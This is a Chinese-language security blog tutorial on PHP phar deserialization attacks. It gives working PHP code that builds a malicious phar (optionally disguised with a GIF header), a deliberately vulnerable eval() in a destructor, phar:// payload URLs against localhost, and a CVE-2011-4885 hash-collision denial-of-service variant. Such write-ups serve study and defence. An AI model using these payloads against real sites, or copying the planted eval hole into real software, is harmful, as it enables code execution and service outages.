Phar反序列化
Nov 12, 2018 09:54 · 186 words · 1 minute read
前记
phar反序列化最开始的时候在翻p神的小密圈里的文章看到的,是HITCON2017的一个考点。没多久在 BlackHat 大会上这个点又被分享出来,然后铺天盖地的都是分析这个姿势的文章,接着又有几个比赛中的题都利用了这个点。
前提条件
- 有上传点 可以上传phar文件
- 有操作文件的函数,且函数的参数可控。
- 有魔术方法可以利用
漏洞原理
phar文件是一种压缩文件,在php手册中可以看到各个数据块的信息。
在官方文档可以看到 Meata-data数据块,存储的是序列化后的数据。
phar文件的读取是通过phar协议读取的,在读取phar文件的时候,文件内容会转换为对象,Meata-data数据块中的内容会被反序列。
demo测试
phar文件的制作可以使用php内置的Phar类来实现。
需要注意的是一定要将php.ini
中的 phar.readonly
设置为off
,否则无法生成phar文件。
生成phar文件的代码
<?php
class not_useful{
var $file = "phpinfo();";
}
@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 增加gif文件头
//$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
后台漏洞代码
<?php
$recieve = $_GET['recieve'];
/*写入文件类操作*/
class not_useful{
var $file;
function __destruct(){
eval($this->file);
}
}
file_get_contents($recieve);
?>
paylaod
http://127.0.0.1/45.php?recieve=phar://hpdoger.phar/test.txt
or
http://127.0.0.1/45.php?recieve=phar://hpdoger.gif/test.txt
受影响的函数还有以下函数皆受影响
列表 | |||||
---|---|---|---|---|---|
file_get_contents | file_put_contents() | file() | file_exists() | is_file() | unlink() |
fopen() | read_file() | is_dir() | is_link() | parse_ini_file() | copy() |
stat() | fileatime() | filectime() | filegroup() | fileinode() | filemtime() |
fileowner() | fileperms() | is_executable() | is_readable() | is_writable() | is_writeable() |
实现拒绝服务攻击
来源
在安全客 看到一篇师傅的文章,实现了拒绝服务攻击。大致是这个样子。
利用了CVE-2011-4885
php内核漏洞。
粘贴复制
PHP内核哈希表碰撞攻击(CVE-2011-4885)。在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击。
PHP修复此漏洞的方式是限制通过$_GET或$_POST等方式传入的参数数量,但是如果PHP脚本通过json_decode()或unserialize()等方式获取参数,依然将受到此漏洞的威胁。
接下来的漏洞利用思路就很明显了:构造一串恶意的serialize数据(能够触发哈希表拒绝服务攻击),然后将其保存到phar文件的metadata数据区,当文件操作函数通过phar://协议对其进行操作的时候就会触发拒绝服务攻击漏洞
复现
生成phar文件的代码
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');
测试文件代码
<?php
header("content-type:text/html;charset=utf-8");
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://avatar.phar");
$endTime = microtime(true);
echo '执行时间: '.($endTime - $startTime). ' 秒';
输出结果
执行时间: 28.498549938202 秒
师傅好强,我好菜….